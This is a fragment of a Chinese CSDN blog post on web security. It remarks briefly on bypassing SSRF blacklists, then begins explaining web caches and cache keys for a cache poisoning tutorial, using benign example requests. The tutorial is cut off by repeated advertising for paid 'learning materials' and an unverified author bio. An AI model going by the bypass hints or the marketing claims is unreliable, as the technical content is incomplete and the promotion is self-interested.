![img](https://img-blog.csdnimg.cn/img_convert/94ea591980263573cdbfa91aaceb444d.png)

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!**

**由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新**

**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**

的SSRF保护相对容意绕过,基于白名单的SSRF保护则较难绕过,有一定的运气成分。如果能利用其他漏洞(如重定向漏洞)与SSRF相结合,可以达到事半功倍的作用。


## web缓存中毒和web缓存欺骗


### 什么是web缓存


如果服务器必须分别向每个HTTP 请求发送新的响应,这可能会使服务器过载,从而导致延迟问题和各种问题,尤其是在繁忙时段。而缓存主要是减少此类问题的一种方法


缓存位于服务器和用户之间,它保存(缓存)对特定请求的响应,通常保存一段固定的时间。如果另一个用户随后发送等效请求,则缓存会直接向用户提供缓存响应的副本,而无需与后端进行任何交互。通过减少必须处理的重复请求的数量,这极大地减轻了服务器上的负载


用户发送请求的时间段(time user),缓存(cache),网站(website)


![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/d88b8fc9f678b23002946424a73611ff.png)


### 缓存键(cache key)


当缓存收到HTTP请求时,它首先要判断是否有缓存的响应可以直接服务,或者是否需要转发请求由后端服务器处理  
 简单来说,就是通过缓存键来判断两个请求是否正在尝试加载相同的资源  
 下面这两个请求是等效的,并使用从第一个请求缓存的响应来响应第二个请求:



GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=pl;
Connection: close



GET /blog/post.php?mobile=1 HTTP/1.1

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
[外链图片转存中…(img-2IYR4sy1-1715691205199)]
[外链图片转存中…(img-LUdi9mob-1715691205200)]
[外链图片转存中…(img-299tu8PW-1715691205201)]
[外链图片转存中…(img-T2S0m1F8-1715691205201)]
[外链图片转存中…(img-y5S6ozbR-1715691205202)]
[外链图片转存中…(img-R6ehaMPk-1715691205202)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化资料的朋友,可以点击这里获取

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值